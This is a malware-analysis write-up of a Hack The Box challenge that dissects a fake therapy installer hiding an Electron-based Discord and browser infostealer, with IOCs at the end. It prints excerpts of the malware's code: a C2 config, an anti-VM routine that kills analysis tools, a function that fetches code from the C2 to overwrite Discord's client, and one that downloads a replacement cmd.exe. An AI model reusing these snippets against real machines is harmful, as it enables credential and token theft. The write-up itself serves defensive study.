Skip to main content

HTB-Subatomic

Table of Contents
Difficulty: Medium
OS: Windows
Date: 2026-02-08

TL;DR
#

A fake therapy installer distributed as an NSIS self-extracting archive delivers an Electron-based Node.js infostealer. After passing anti-VM checks, it injects malicious code into Discord clients, harvests Discord tokens, browser cookies, saved passwords, and autofill data, and exfiltrates everything to illitmagnetic.site.

Initial Analysis
#

It is a NSIS self-extracting archive. An NSIS package is essentially a self-extracting archive coupled with an installation system that supports a scripting language. It contains compressed files, along with installation instructions written in the NSIS scripting language.

1nsis-installer.exe: PE32 executable for MS Windows 4.00 (GUI), Intel i386, Nullsoft Installer self-extracting archive, 5 sections
27a95214e7077d7324c0e8dc7d20f2a4e625bc0ac7e14b1446e37c47dff7eeb5b
3imphash: b34f154ec913d2d2c435cbd644e91687

The binary contained a digital signature with the program name Windows Update Assistant

signature

NSIS
#

To access the contents without running the installation package, I used 7-Zip.

1$ 7z x nsis-installer.exe -o./extracted/
2Extracting archive: nsis-installer.exe
3...[snip]...
4
5Everything is Ok              
6
7Files: 8
8Size:       78250603
9Compressed: 78057262

NSIS supports a plugin system, which consists of DLL files that are placed by default in the $PLUGINSDIR directory.

 1.
 2├── $PLUGINSDIR
 3│   ├── app-32.7z
 4│   ├── nsExec.dll
 5│   ├── nsis7z.dll
 6│   ├── SpiderBanner.dll
 7│   ├── StdUtils.dll
 8│   ├── System.dll
 9│   └── WinShell.dll
10└── $R0
11    └── Uninstall SerenityTherapyInstaller.exe

- nsis7z.dll — 7z extraction plugin
- nsExec.dll — command execution plugin
- System.dll — direct WinAPI call plugin
- StdUtils.dll — extended NSIS utilities
- SpiderBanner.dll** — UI plugin
- WinShell.dll — Windows Shell integration plugin
- app-32.7z - main funcionallity

Electron Application
#

Unpacking app-32.7z revealed an Electron application — a Chromium and Node.js runtime packaged as a Windows executable, allowing JavaScript malware to run as a native process:

1...[snip]...
2├── resources
3│   ├── app.asar
4│   └── elevate.exe
5├── SerenityTherapyInstaller.exe
6...[snip]...

The app.asar archive was extracted with asar. The extracted folder contains:

1app.js:        JavaScript source, ASCII text, with very long lines (65536), with no line terminators
2node_modules:  directory
3package.json:  JSON text data

Malware’s dependencies:

 1{
 2  "name": "SerenityTherapyInstaller",
 3  "version": "1.0.0",
 4  "main": "app.js",
 5  "nodeVersion": "system",
 6  "bin": "app.js",
 7  "author": "SerenityTherapyInstaller Inc",
 8  "license": "ISC",
 9  "dependencies": {
10    "@primno/dpapi": "1.1.1",
11    "node-addon-api": "^7.0.0",
12    "sqlite3": "^5.1.6",
13    "systeminformation": "^5.21.22"
14  }
15}

Deobfuscation
#

app.js was heavily obfuscated with hex-encoded identifiers and arithmetic string lookups. Deobfuscation with Obfuscator.io produced no usable result.

1var _0x448105 = _0x14c9;
2(function(_0x2f383b, _0x170714) {
3    var _0x5f100f = _0x14c9, _0x3c3f7b = _0x2f383b();
4    while (!![]) {
5        try {
6            var _0x2e3a8b = -parseInt(_0x5f100f(0x1088)) / ...

Dynamic Analysis
#

The obfuscated script was analyzed using the VS Code Debugger. A version conflict with the bundled sqlite3 module was identified on first run:

sqlite3 version conflict

On the second run, the deobfuscated script appeared in the “Loaded Scripts” panel as <eval> / VM46947589 — 800+ lines of readable JavaScript:

Loaded Scripts panel showing deobfuscated eval
Deobfuscated source in VS Code debugger

Static Analysis
#

alt text
The decompiled source reveals the full capability set of the malware:

  • getDiscordTokens, discordInjection - harvests Discord tokens and injects malicious code into the Discord client
  • stealFirefoxTokens - extracts saved session tokens from Firefox
  • browserCookies, getBrowserCookies, getFirefoxCookies — steals cookies across Chromium-based browsers and Firefox
  • browserPasswords, getBrowserPasswords — extracts saved credentials from browser password stores
  • browserAutofills, getBrowserAutofills — harvests autofill data
  • tokenRequests, checkToken — validates and exfiltrates harvested tokens
  • newInjection - generic injection capability
  • checkCmdInstallation — checks for presence of specific tools, likely for persistence or lateral movement
  • kill — terminates processes

C2 config
#

Сontained a hardcoded configuration block that revealed the С2 domain illitmagnetic.site, target Discord user ID, and whether to log out the victim from Discord after token theft.

1const options = {
2    api: 'https://illitmagnetic.site/api/',
3    user_id: '6270048187',
4    logout_discord: 'false'
5};

Anti-VM
#

Exits if RAM is under 2GB, hostname matches a hardcoded blocklist of known analysis machines, or kills any recognized analysis tools found in the running process list.

 1function checkVm() {
 2    if(Math.round(totalmem() / (1024 * 1024 * 1024)) < 2) process.exit(1);
 3    if(['bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr', ...
 4    ].includes(hostname().toLowerCase())) process.exit(1);
 5
 6    const tasks = execSync('tasklist');
 7    ['wireshark', 'fiddler', 'vboxservice', 'vmtoolsd', 'ida64', 'x32dbg', ...
 8    ].forEach((task) => {
 9        if(tasks.includes(task))
10            execSync(`taskkill /f /im ${task}.exe`);
11    });
12};

Discord Injection
#

Fetched a malicious index.js from the C2 and overwrote the legitimate discord_desktop_core-1/index.js in all installed Discord variants (Discord, DiscordCanary, DiscordPTB), then restarted the client to load the injected code:

1async function discordInjection() {
2    [join(LOCALAPPDATA, 'Discord'), join(LOCALAPPDATA, 'DiscordCanary'),
3     join(LOCALAPPDATA, 'DiscordPTB')].forEach(async(dir) => {
4        const data = await fetch(options.api + 'injections', ...);
5        writeFileSync(discord_index, data?.discord);
6        await kill(['discord', 'discordcanary', 'discordptb']);
7        exec(`Update.exe --processStart Discord.exe`);
8    });
9};

checkCmdInstallation
#

Verified the presence of cmd.exe at C:\Windows\system32\cmd.exe. If absent — a sandbox or restricted environment indicator — it fetched a replacement cmd.exe from the C2 and wrote it to %USERPROFILE%\Documents\, then redirected ComSpec to point to the downloaded binary.

1async function checkCmdInstallation() {
2    if(!existsSync('C:\\Windows\\system32\\cmd.exe')) {
3        const response = await fetch(options.api + 'cmd-file', ...);
4        writeFileSync(join(process.env.USERPROFILE, 'Documents', 'cmd.exe'),
5            Buffer.from(response?.buffer));
6        process.env.ComSpec = join(process.env.USERPROFILE, 'Documents', 'cmd.exe');
7    }
8};

Browser Data Collection
#

Killed all running browser processes before accessing locked database files, then collected cookies, saved passwords, and autofill entries from Chromium-based browsers by decrypting the Local State master key via DPAPI and decrypting each value with AES-256-GCM. Firefox cookies were read directly from moz_cookies via SQLite. All collected data was POSTed to options.api + 'browsers-data'.

newInjection
#

Collected system fingerprint data (OS, CPU, RAM, uptime) and the victim’s external IP via ipinfo.io, then reported the infection to options.api + 'new-injection' along with the list of successfully injected Discord clients.

Sandbox
#

IOCs
#

Files
- nsis-installer.exe
- SHA256: 7a95214e7077d7324c0e8dc7d20f2a4e625bc0ac7e14b1446e37c47dff7eeb5b
- SerenityTherapyInstaller.exe

Network
- C2 API: https://illitmagnetic.site/api/
- Fingerprint: https://ipinfo.io/json
- Discord API: https://discord.com/api/v10

Registry / Filesystem
- %USERPROFILE%\Documents\cmd.exe — dropped if cmd.exe absent
- Discord discord_desktop_core-1\index.js — overwritten with C2 payload